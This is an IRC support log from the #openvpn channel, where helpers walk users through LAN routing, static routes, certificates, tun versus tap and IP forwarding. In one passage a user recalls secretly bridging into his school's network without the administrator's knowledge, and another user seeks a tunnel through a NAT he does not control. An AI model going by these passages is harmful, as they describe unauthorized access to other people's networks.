10:39 < SupaYoshi1> and change it to 10.15.1.0 255.255.255.0
10:39 < SupaYoshi1> or not?
10:41 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds]
10:42 -!- MrHanjrah [~aman@unaffiliated/mrhanjrah] has quit [Ping timeout: 272 seconds]
10:46 < SupaYoshi1> yes
10:46 < SupaYoshi1> i can now ping the server on its internal IP!
10:46 < SupaYoshi1> from the VPN :D
10:46 < SupaYoshi1> krzee thanks! and the rest :D
10:46 < SupaYoshi1> now next step :D
10:47 < SupaYoshi1> How do I add a route to the router, so it knows how to reach the openvpn subnet?
11:06 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
11:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:13 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:19 -!- MrHanjra1 [~aman@117.207.179.233] has quit [Ping timeout: 265 seconds]
11:21 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Quit: Goodbye, cruel world!]
11:21 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
11:22 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Client Quit]
11:23 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
11:27 < stemid> if I put a NAT on the client side and on the server side add a static route through the peer ip of the client, wouldn't that be like a reverse vpn?
11:28 < stemid> for example if I'm in a situation where the openvpn client is behind a NAT but I want to establish a tunnel back through the NAT to the client.
11:28 < stemid> and the NAT is not under my control
11:28 < stemid> but the openvpn client is
11:29 < pekster> !goal
11:29 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:30 < stemid> I have two ends, endA is where the NAT is under my control, endB has a NATed network not under my control but the clientB is under my control. so clientB can establish a VPN from endB to endA with no problems. but my goal is really to establish a tunnel the other way.
11:30 < stemid> and I noticed that in a regular openvpn setup I can reach the client IP from the server where it's connected. so if I can do that, I should be able to NAT on the client side and route traffic through it.
11:31 < pekster> "establish" it the other way?
11:31 < pekster> You can't unless you can port-forward through the NAT
11:31 < pekster> Does the direction of the initial packet really matter to you?
11:32 < pekster> There is no such thing as a "reverse VPN" -- a VPN is like a string, and the concept of "reversing the string" is sorta silly
11:32 < stemid> the direction of the initial packet matters since it must go from endB to endA because I am unable to forward ports on endB.
11:32 < pekster> Exactly
11:32 < stemid> but on endB is clientB, and on that client system I am fully capable of forwarding and NATin.
11:32 < stemid> as long as the packets reach it
11:32 < stemid> through the tunnel that is
11:33 < pekster> If you "just want a tunnel" then a super-basic setup beween your clientB and serverA is all you need
11:34 < stemid> yes, that's what I'm saying. I tried doing that super-basic setup and it worked and serverA could reach the IP of clientB. so taking that further I could add forwarding and NATing on clientB.
11:34 < stemid> so the traffic going from serverA to clientB would be routed.
11:34 < stemid> to the client network, endB
11:34 < pekster> Then you should re-define your goal
11:34 < stemid> that is a reverse vpn in my mind
11:34 < pekster> I don't know "wha" you are routing. What is this traffic
11:35 < pekster> There's no "reverse" here
11:35 < stemid> because I'm piercing a NAT not under my control.
11:35 < stemid> think ssh reverseforward
11:35 < pekster> Your terms are abstract and not technically correct which means I have no clue what it is you actually want
11:35 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:35 < pekster> What are you trying to _do
11:36 < stemid> I mean RemoteForward
11:36 < pekster> Stop using terms like "reverse VPN" and "route A to B". What do you actually want as a _result_ of this setup
11:36 < stemid> have you used remoteforward in openssh?
11:36 < pekster> Yes
11:36 -!- mback2k is now known as mback2k_
11:36 < pekster> I'm quite fluent in networking concepts
11:36 < stemid> that's what I want to do, through a NAT
11:36 < pekster> It won't work becuase you don't control the downstream clients or the LAN gateway, as I understand
11:37 < pekster> In theory you could perform source-NAT, but then "clientB" is initiating all the inbound packets, which is awful for security
11:37 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 252 seconds]
11:37 < stemid> I'm not sure what you mean by downstream client. is downstream the direction that the openvpn client is connecting?
11:37  * pekster sighs
11:37 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
11:37 < pekster> What's the goal here, put some silly public IP on the remote side as a "forwarding endpoint" to some network you shouldn't be doing this to?
11:38  * pekster looses interest quickly in solving problems without a good goal. If you want ssh go use ssh
11:38 -!- mode/#openvpn [+v pekster] by ChanServ
11:38 < stemid> I'm already doing this today with openssh but it's not as good as having an openvpn tunnel doing it.
11:38 < SupaYoshi1> back
11:39 < SupaYoshi1> hey
11:39 < SupaYoshi1> anyone here still? :D
11:39 < SupaYoshi1> lol
11:39 <+pekster> So set up routing properly. If you don't control the network, go get control of the network or the client behind the VPN endpoint
11:39 <+pekster> If you control neither the client behind the VPN endpoint and also don't control the LAN, chances are you shouldn't be doing whatever it is you're doing anyway
11:41 < stemid> but it is possible?
11:42 < stemid> I'll give it a shot, see what happens.
11:42 <+pekster> How about we define your goal properly first
11:42 < stemid> I've tried but you don't understand me
11:42 < stemid> I don't blame you, I'm self taught in this so I don't know the proper terminology.
11:43 < stemid> but I know how to setup a router with iptables so I'll give it a shot myself and see if it works.
11:43 <+pekster> You have some server_A that is acting as your VPN server and you want to have external connections reach that host and end up connecting to some remote LAN client behind a box you're calling client_B ? And behind it you have LAN_B?
11:43 <+pekster> Do I have that right?
11:44 <+pekster> <some_client> -> [Internet] -> <server_A> -> <client_B> -> <LAN_B_pc>  ??
11:44 < stemid> reaching serverA and lanA is no problem. the problem is that clientB which is reaching lanA is behind a NAT that I don't control. so my solution so far has been an ssh tunnel through this NAT. but that's not a perfect solution as I can only use it as a SOCKS proxy. so I want to re-create it with openvpn and a proper router on the clientB end.
11:45 <+pekster> So do that
11:45 <+pekster> See !serverlan
11:45 < stemid> I will
11:45 < stemid> !serverlan
11:45 <+pekster> If you want access to the server-side LAN, you should have simply said so
11:45 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:45 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:46 <+pekster> If you also want to route to the client-side LAN from the VPN server, there's !clientlan for that too. They're independent concepts, though you can use them both together (for a so-called site-to-site VPN configuration)
11:46 < stemid> yes that's exactly what I'm planning to do
11:48 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:53 < SupaYoshi1> how to add static route
11:54 <+pekster> In OpenVPN? Use (or push) --route (see the manpage, !man for info, or more discussion at !route)
11:55 <+pekster> If you meant on your OS, google it? `route` for BSD, `ip route` for Linux, and `route.exe` for Windows
11:58 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.2.0]
11:59 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
11:59 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
11:59 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
12:03 < SupaYoshi1> hey
12:03 < SupaYoshi1> pekster
12:03 < SupaYoshi1> or krzee
12:03 < SupaYoshi1> whoever :p
12:03 < SupaYoshi1> Im on the server.lan I got everything working
12:03 < SupaYoshi1> im on the last step.
12:04 < SupaYoshi1> http://prntscr.com/238ijt
12:04 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
12:04 < SupaYoshi1> How do I do that? :D
12:04 < SupaYoshi1> I have OpenWRT and what route should I add for the OpenVPN subnet to it?
12:04 < SupaYoshi1> And where exactly? :D
12:04 < SupaYoshi1> thnx
12:06 -!- mrrcp [~mrrcp@romanparish.net] has left #openvpn []
12:08 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.2.0]
12:08 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
12:08 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
12:08 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
12:22 -!- acu [~acu@107.128.131.129] has joined #openvpn
12:22 < acu> hello everyone
12:24 < acu> I got a openvpn server workin - got the client connected but still I cannot really get into the LAN of the server - first  the LAN where the openvpn server is has a DHCP that gives up 192.168.1.whatever addresses - I guess I should configure somehow the server or the clients such that the TAP-Windows adapter will get the IP from the OpenVPN LAN server realm
12:25 < acu> I do not know what exactly I need to change  - THere is NET IP assignes (that wouldbe a built in DHCP server for OpenVPN ?) - shoul I leave it empty ?
12:26 <+pekster> acu: Evidently things are not working correctly if you think you want the VPN server to have the same range as your server LAN
12:26 <+pekster> Also, re-number your server-LAN. 192.168.1/24 is awful since remote clients on that same network will probably break
12:27 <+pekster> You want the !howto and !serverlan
12:27 < acu> !serverlan
12:27 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
12:27 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
12:28 < acu> !howto
12:28 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
12:28 <@krzee> !serverlan
12:28 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
12:28 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
12:28 <@krzee> use the flowchart
12:29 <@krzee> tell me where you get stuck
12:29 <@krzee> your vpn client will get a vpn address, then with proper routing he will reach the lan
12:31 < acu> krzee thank that is good to know  - also I did not add " push "redirect-gateway def1"  so all trafic will be directed through vpn - I will do it now - I should have not been to creative
12:32 <@krzee> umm
12:32 <@krzee> you want your clients to access the internet over the vpn?
12:32 <@krzee> to redirect their internet through the vpn server...?
12:33 < SviMik> why peoples don't like L2 bridging with TAP? it can easily solve problems like situations when you need nathack otherwise. just because lan router will see natively all computers behind the vpn link without any routing.
12:33 <@krzee> SviMik, as you grow you create issues, there is no security on L2
12:33 <@krzee> and it is generally not needed
12:34 <@krzee> and those 2 lans you are talking of bridging will LIKELY have overlap
12:34 <@krzee> and 2 dhcp servers
12:34 <@krzee> which would wreak havok!
12:34 < SviMik> switch also does L2 bridging and has no security, but who cares?
12:35 <@krzee> for most people coming here there is more trust on 1 side of the bridge than the  other
12:35 <@krzee> 1 side of the vpn* than the other
12:36 <@krzee> does your vps really belong in your house broadcast domain?
12:36 <@krzee> NO
12:36 < Poster> L2 switch access requires access to a building/room/closet/etc.  OpenVPN L2 could come from anywhere with appropriate key/secret.
12:37 <@krzee> when i own your vps company, and therefor your vps, do you want me in your l2 arp poisoning your entire lan's internet connections?
12:37 <@krzee> probably not
12:38 < SviMik> you are talking about situations when one side is not trusted. but it's not always true
12:38 <@krzee> i did not say bridging is never good
12:38 <@krzee> is said usually not the right choice
12:38 <@krzee> i said*
12:39 <@krzee> you did not see why i said security is one of the reasons why not, so i showed you why many of our users coming in here should care about that
12:39 <@krzee> are there situations where you dont care?  sure
12:40 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:40 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
12:40 <@krzee> and if you wanna use a bridge, even if just for fun, go for it ;]
12:40 < SviMik> sometimes I just want to connect two sites with a LAN cable, but if it's physically impossible to put a cable - L2 bridge over internet just doing same job.
12:41 <@krzee> even when i connect them with a lan cable i seperate my broadcast domains
12:41 < Poster> remember some complications when you're talking about layer 2 bridging, especially LAN to LAN
12:41 < SviMik> maybe we should stop using switches, and put routers everywhere instead? :-D
12:41 <@krzee> i keep l2 contained even if the office environment
12:41 <@krzee> i use switches AND routers
12:41 <@krzee> depending what im doing
12:41 < Poster> one DHCP server could service multiple physical locations, either intentionally or not
12:41 <@krzee> routers connect networks, thats what i use them for
12:42 <@krzee> Poster, yes, and you may want to consider failover links if that is your plan
12:42 < Poster> there's the default gateway question, routing all l3 across a l2 bridge to get out to the Internet is probably not desirable
12:42 < Poster> yep, I am just trying to make sure the implications of LAN to LAN L2 are understood
12:42 <@krzee> which may make the centralizing of the dhcp server more effort than it saves
12:42 <@krzee> oh right
12:42 <@krzee> [10:34]  <krzee> and those 2 lans you are talking of bridging will LIKELY have overlap
12:42 <@krzee> [10:34]  <krzee> and 2 dhcp servers
12:42 <@krzee> [10:34]  <krzee> which would wreak havok!
12:43 < Poster> oh
12:43 < Poster> I don't read so good :|
12:43  * Poster crawls back under a rock
12:43 <@krzee> nah it was buried too
12:43 <@krzee> under paragraphs of tuntapnazi monolog ;]
12:44 < SviMik>  i use switches AND routers depending what im doing // exactly. but when people start talking about vpn, they say something like "use routers only", without asking, what they doing
12:44 <@krzee> !whybridge
12:44 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
12:45 <@krzee> !ping
12:45 <@vpnHelper> pong
12:45 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
12:45 <@krzee> SviMik, !whybridge sums it up well
12:45 <@krzee> each of the 3 options has their benefit / drawback
12:46 <@krzee> there is a time for each of them
12:46 <@krzee> for most people, tun is the right choice
12:46 <@krzee> and im talking like 90% +
12:48 < SviMik> I'm reading nathack, and don't understand, why not to use bridge in this case. all computer will see eachother, and if you don't have access to router - it is not problem, the router will think that there are just physically connected computers.
12:48 <@krzee> SviMik, then the dhcp server from each side will start fucking up the other side
12:49 <@krzee> and ip overlap will also suck
12:49 < SviMik> krzee you don't need second dhcp server in this case
12:49 <@krzee> SviMik, so without internet 1 side gets no lan?
12:51 < SviMik> krzee as I saw in one example, 1 side was just-a-vpn-network, where ip are assigned by VPN server from another side
12:51 < SviMik> so in both cases there will be no lan
12:52 < SviMik> if vpn client can't connect to vpn server, where vpn server is used to give ip to clients
12:53 < SviMik> but yes, there will be no lan, if both sides are networks (not single vpn clients)
12:53 <@krzee> in !nathack they arent even using the same subnet
12:53 <@krzee> in !nathack it is about not having control of the router for !route_outside_ovpn
12:54 <@krzee> when you dont control the router you have to add static routes to the lan machines, if that is too much work or you dont have access, you use the nathack
12:54 < SviMik> in !nathack it is impossible to connect to computers behind nat without making port redirections for each case
12:54 <@krzee> and if you dont control the router you probably dont want to remove your dhcp server and rely on the one you dont control for dhcp
12:55 <@krzee> http://1.bp.blogspot.com/_Rv5P4KBnFUY/Soo0rwFBYNI/AAAAAAAABes/7n4ubqbahJs/s400/cat_pushing_watermelon_argument_invalid.jpg
12:55 < SviMik> ok :)
12:55 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:56 < SviMik> but if you wish to connect two networks without using nat and with no access to router - bridging may be a working solution
12:56 < SviMik> at least, until you loose internet connection
13:10 < SviMik> I already was in such situations. first time it was at school, when I got the idea to connect to school network from home. without asking admin, of course. so I installed openvpn client on one of computers, and did bridging. worked perfectly :)
13:11 < SviMik> nathack, especially in windows, would be too complicated for me 8 years ago. but briging in windows is just few clicks :)
13:15 < SupaYoshi1> I have OpenWRT and what route should I add for the OpenVPN subnet to it
13:16 < SupaYoshi1> And where do I do this?"
13:16 < SupaYoshi1> im on the last step for me on the setting up
13:16 < SupaYoshi1> of serverlan
13:16 < SviMik> interesting, why we are talking about routing and similar things here. it is done by OS, not openvpn. openvpn just provide a connection, and how to route packets - is the user's choise, and how to do that - depends on OS
13:16 < SupaYoshi1> http://prntscr.com/238ijt
13:16 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
13:17 < SupaYoshi1> I need to add a route to the router to route the OpenVPN packets yeah
13:17 < SupaYoshi1> But I dunt know hwat that route would look like/ where Id add it in the router
13:18 < SviMik> I also don't know how to add routes in openwrt :)
13:19 < SviMik> just didn't used it
13:19 < SupaYoshi1> i understand yeah, but what route should i add if i knew.
13:19 < SupaYoshi1> cus thats basically the point./
13:21 < SviMik> at least, we need to know, which IP subnet is used 1. in VPN network 2. in LAN + ip of the vpn server
13:24 < SviMik> the router have to send all packets addressed to VPN subnet to the VPN server
13:25 < SviMik> or computer with VPN client, don't know which side it is :)
13:33 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
13:47 < james41382> I'm trying to get my iphone to connect to my router running dd-wrt. I am able to connect to the openvpn server with my computer, but have not been successful with the iphone. Is there a way to include the crt's and key in the .ovpn file?
13:49 < Thermi> james41382: p12 files. Read on them.
13:50 < james41382> Thermi: I don't know what that is.
13:51 < james41382> Thermi: Where can I find these p12 files?
13:51 < Thermi> That's why I wrote that you should read on what they are. Those are the solution for your problem
13:51 < james41382> Thermi: Okay I'll google it. Thanks.
13:51 < Thermi> it's basicly an encrypted container file for certificates and keys
13:51 < Thermi> you can create them using openssl
13:54 < james41382> Thermi: I have already made all the certs. It's just that since ios7 I can't connect to my phone with linux I have to reboot to windows. I can open 1 file with the openvpn app, but if it is just the .ovpn file it complains it doesn't have the certificates so I was thinking that if the certs were part of the ovpn file it would work without having to reboot.
13:54 < Thermi> Yes, using p12 files ,you can import them into your OSs keychain, like on Android
13:55 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:55 < Thermi> I don't know how the App for iOS works, sorry.
13:56 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 252 seconds]
13:57 < james41382> Thermi: Oh that's fine. I'm just testing with it because I don't have another external computer to test with.
13:57 < james41382> Thermi: Thanks.
13:59 <+pekster> james41382: For the ca/cert/key files you have 3 options: reference them by name using the --ca, --cert, and --key directives, or use the --pkcs12 directive, or include them inline in the config (see !inline)
14:01 < james41382> pekster: Okay so after reading (http://www.dd-wrt.com/wiki/index.php/OpenVPN) I noticed in t
14:01 <@vpnHelper> Title: OpenVPN - DD-WRT Wiki (at www.dd-wrt.com)
14:01 < james41382> oops.. sorry
14:01 < james41382> !inline
14:01 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAV or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
14:02 < james41382> Oh I get it.. nice.
14:02 < james41382> pekster: Thanks.
14:04 < james41382> So here I need to include key-direction 1 indicating the certs/keys are inline?
14:04 <@krzee> !p12
14:04 <@vpnHelper> "p12" is openssl pkcs12 -export -out filename.p12 -inkey filename.key -in filename.crt -certfile ca.crt
14:05 <+pekster> james41382: huh? key-direction is for tls-auth keys
14:05 <+pekster> See the manpage (!man) notes on the directive for details
14:05 < james41382> pekster: Oh nevermind.
14:06 <@krzee> "Notice that --tls-auth takes a direction (1/0) when using it from a file, but when using tls-auth inline you must also use --key-direction (1/0)."
14:06 <@krzee> from !inline #2
14:08 < james41382> the OpenVPN app doesn't support .p12 files apparently... hah.
14:10 < acu> in the server  I have the file /etc/openvpn/myServerVPN.conf there  I have an entrance --  server 13.66.0.0 255.255.255.0 - it seem that the TAP-Windows Adapter in the windows client gets an iP from the 13.166.0 realm - is that how it should be ? I really want the client to be able to connect and  open a file in a samba share located in the OpenVPN Server LAN - so - should the client TAP-WIndows adapter get an IP from the DHCP server of the OpenServerLAN ? wha
14:10 < acu> t should I add - (or should I disable this NET IP assinging about server  ?)
14:11 < SupaYoshi1> SviMik, im back was helping my brother with homework
14:11 < SupaYoshi1> <SviMik> at least, we need to know, which IP subnet is used 1. in VPN network 2. in LAN + ip of the vpn server
14:12 < SupaYoshi1> 1. The subnet on my lan is 10.15.1.0/24 The VPN network is located at 10.8.0.0/24
14:13 < SupaYoshi1> 2. VPN server ip would be 10.15.1.100
14:13 < SupaYoshi1> So how Do i setup a route from my router to the OpenVPN server ? :D
14:13 < SupaYoshi1> What kind of route am i supposed to write in that case.
14:14 <+pekster> acu: OpenVPN works fine with p12 files. Again, go read the --pkcs12 directive
14:14 <+pekster> acu: Also don't use 13.66.0/24 unless you are Xero Corporation
14:15 <+pekster> See !rfc1918 if you need help choosing a network range you are allowed to use and don't have public IP allocations
14:15 <+pekster> Xerox Corporation*
14:15 < SupaYoshi1> pekster
14:16 < SupaYoshi1> why does Xerox Corporation decide what I can use and cannot use?
14:16 <+pekster> They don't; RFC does
14:16 < SupaYoshi1> ok..
14:16 <+pekster> 13/8 is allocated to Xerox, and thus is _NOT_ for other use
14:16 < SupaYoshi1> Ah ok..
14:16 < SupaYoshi1> Thats lame
14:16 <+pekster> IANA and, for the americas, ARIN, allocates addresses
14:16 < SupaYoshi1> Like they own it? :P
14:17 < SupaYoshi1> Okay cool :3
14:17 <+pekster> If it bugs you, go get IPv6 where obtaining a /56 (or even a /48 in most cases) is trivial
14:17 < acu> thanks - I do not know why I thought the vpn client would need to get an IP from the DHCP server of the OpenVPNserver LAN (which is 192.168.1.whatever) - so basically the OpenVPN server would work almost as a bridge between OpenVPNclient and my Server LAN
14:17 < SupaYoshi1> :)
14:17 < SupaYoshi1> Hey pekstor, can you help me with the route?
14:17 <+pekster> acu: Don't bridge. See !tunortap and !whybridge
14:18 <+pekster> SupaYoshi1: Did you read --route ? If you watn to know how to add a route to something not openvpn, go ask the support forums/irc/mailing-list for your software product
14:18 < SupaYoshi1> nah i wanna leanr how to route
14:18 < SupaYoshi1> not where to
14:18 <+pekster> In Linux a route is as simple as `ip route add $NET/$CIDR via $GW [dev $SOMEDEV]`
14:18 < SupaYoshi1> I can figure out where to put it in, also its openwrt so i guess yud know, or i just ask at em
14:18 < SupaYoshi1> okay....
14:18 <+pekster> OpenWRT has config abstraction for almost all the netnworking tasks
14:18 <+pekster> Go ask them
14:18 < SupaYoshi1> yeah but
14:18 <+pekster> (their docs on the network config are also very complete)
14:19 < SupaYoshi1> ip route add $NET/$CIDR via $GW [dev $SOMEDEV]
14:19 < SupaYoshi1> what is $NET and $CIDR AND $GW
14:19 < SupaYoshi1> $GW = gateway.
14:19 <+pekster> a network and the cidr mask
14:19 < SupaYoshi1> so like...
14:19 <+pekster> Maybe try a more basic networking guide if concepts like routeing confuses you (one such link in !tcpip)
14:19 < acu> how could I send to me only !turnortap
14:19 < acu> !turortap
14:20 <+pekster> `ip route add 10.2.3/24 via 172.17.5.1` for instance
14:20 < SupaYoshi1> ip route add $10.8.0.0 255.255.255.0 via $10.15.1.100 [dev $SOMEDEV]
14:20 < SviMik> !tunortap
14:20 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:20 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:20 < acu> !tunortap
14:20 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
14:20 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
14:20 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:20 < SupaYoshi1> i see
14:20 <+pekster> SupaYoshi1: There's no $ -- I'm using it as a variable, a fairly common thing you'll see in FOSS discussions
14:21 < SupaYoshi1> yeah I know, im not thinking right now
14:21 <+pekster> f.ex you can run this at a shell: `SAMPLE_TEXT="hello world"; echo $SAMPLE_TEXT`
14:21 < SupaYoshi1> was too much focussing on understanding whats going on with the route :)
14:21 <+pekster> Yea, k
14:21 < SupaYoshi1> but
14:21 <+pekster> Manpages and downstream docs are the best place to learn to use downstream configuration
14:21 < SupaYoshi1> the dev that you defind, is lan for example?
14:21 < SupaYoshi1> cus the router has to route this over the LAN?
14:21 <+pekster> debian uses interfaces(5) for netwowrk config. OpenWRT uses the /etc/config/ UCI tree, gentoo uses /etc/conf.d/net, etc, etc
14:21 < SupaYoshi1> so, dev would be like... [dev lan]
14:22 <+pekster> No, a device is the _device_
14:22 <+pekster> This is not #openwrt support
14:22 <+pekster> #openwrt is OpenWRT support, where they will tell you how their network configuration works if you need to add persistent static routes
14:22 <+pekster> _anything_ you do via `ip route ..` is temporary and will be LOST when you reboot
14:22 <+pekster> Do it right and learn to use your OS/distro
14:23 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 244 seconds]
14:23 <+pekster> Surely the documetnation on the relevant UCI networking config on their website is useful?
14:23 < acu> !wins
14:23 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
14:23 <+pekster> Send follow up questions to them
14:23 < SupaYoshi1> okay thnx
14:23 < SupaYoshi1> :3
14:25 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 265 seconds]
14:26 < acu> Ok, so, the main reason for this OpenVPN will be to have sambashares seen from remoteLANside - based on factoid it seems I need tap though the samba share server can be access through IP address - which would be 192.168.1-whatever
14:27 <@krzee> samba is layer3, netbios name resolution is layer2
14:27 <@krzee> however you can use wins to replace the need for netbios, and wins is layer3
14:27 <+pekster> Or you can use DNS to avoid WINS too
14:27 <@krzee> tap is for layer2, tun for layer3
14:27 <@krzee> ya that ^
14:28 <+pekster> No clue why people like WINS so much; it's an ancient hack to make windows think an L3 topology is really L2
14:28 <@krzee> i agree, but i dont understand why they like samba at all
14:28 <@krzee> or s/samba/windows/
14:29 < acu> I this point I would not mind to see it working without any resolution- again I can map the clientLAN machines thorough a staticIP or the sambashares -  I am still pu
14:29 <+pekster> Until Win7 there was no builtin alternative; Win7 finally does NFSv3 (mostly) but it's got no auth{entication,orization} on the transfers
14:30 <@krzee> acu, you are doing lan to lan, right?
14:30 <@krzee> are you already pinging fine?
14:33 < acu> krzee: yes that would be ideal, but at this point I would take anything :)
14:34 < acu> I mean LAN to LAN would be the target - but now I setup a client and try to connect to the network
14:34 <@krzee> so did you use the flowchart here?
14:35 <@krzee> !serverlan
14:35 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:35 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:35 < acu> LAN to LAN would be the ideea - and I would not mind if both sites get the IP from a single DHCP server (if that would be easier)
14:35 <+pekster> Don't do DHCP relaying without understanding that your remote LAN will be unable to get addresses at all if the link goes down
14:35 <+pekster> You really don't want to do that, and you really (really!) don't want to do bridging with a "remote DHCP server" without being quite versed in the issues
14:43 < acu> !sample
14:43 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
14:48 < acu> !ipforward
14:48 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
14:49 < acu> !linipfoward
14:49 < acu> !linipforward
14:49 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
14:54 -!- mattock is now known as mattock_afk
14:54 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
15:05 < acu> on the OpenVPN server I run debian linux - with two NICs - eth0 is public eth1 is LAN -  I have done  echo 1 > /proc/sys/net/ipv4/ip_forward  ---- second command was   iptables -t nat -I POSTROUTING -o eth0 -j MASQUERADE - I think the last one is not right - the helper has -i tun+ -j ACCEPT
15:06 -!- SupaYoshi1 [~supayoshi@ip4da5d319.direct-adsl.nl] has quit []
15:06 <+pekster> You need to accept forwarding VPN traffic you want to allow, yes
15:06 <+pekster> How you do that depends on the exact layout of your firewall rules
15:06 <+pekster> !netfilter
15:06 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
15:07 < acu> thanks pekster, you are such a nice and helpful guy :)
15:09 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
